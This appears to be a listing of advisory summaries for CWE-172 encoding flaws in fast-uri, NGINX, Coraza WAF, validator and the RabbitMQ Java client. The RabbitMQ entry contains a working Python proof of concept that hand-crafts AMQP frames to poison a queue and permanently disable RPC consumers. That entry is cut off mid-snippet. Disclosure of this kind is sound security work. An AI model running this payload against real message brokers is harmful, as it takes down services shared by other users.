CWE-172 vulnerabilities

fast-uri versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2 improperly percent-decode the URI scheme component using a legacy function, allowing dangerous schemes to be interpreted as executable URLs. This behavior can lead to stored or reflected cross-site scripting (XSS) vulnerabilities by turning inert strings into executable javascript, data, or vbscript URLs. The issue is fixed in versions 2.4.8, 3.1.9, and 4.2.3 and later.

CVE-2026-95101 is a medium severity vulnerability in F5 NGINX Plus and NGINX Open Source affecting the ngx_http_v3_module. When HTTP/3 is used with the proxy_request_buffering directive enabled, an unauthenticated attacker may inject data into the proxied request. This is a data plane issue without control plane exposure. The vulnerability affects multiple versions of NGINX Plus and Open Source as specified. No known exploits are reported in the wild. Versions that have reached End of Technical Support are not evaluated.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

When NGINX Open Source is configured to proxy HTTP/2 traffic by setting proxy_http_version to 2, and also uses proxy_set_body, an attacker may be able to inject frame headers and payload bytes to the upstream peer.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Versions of the package validator before 13.15.22 are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.
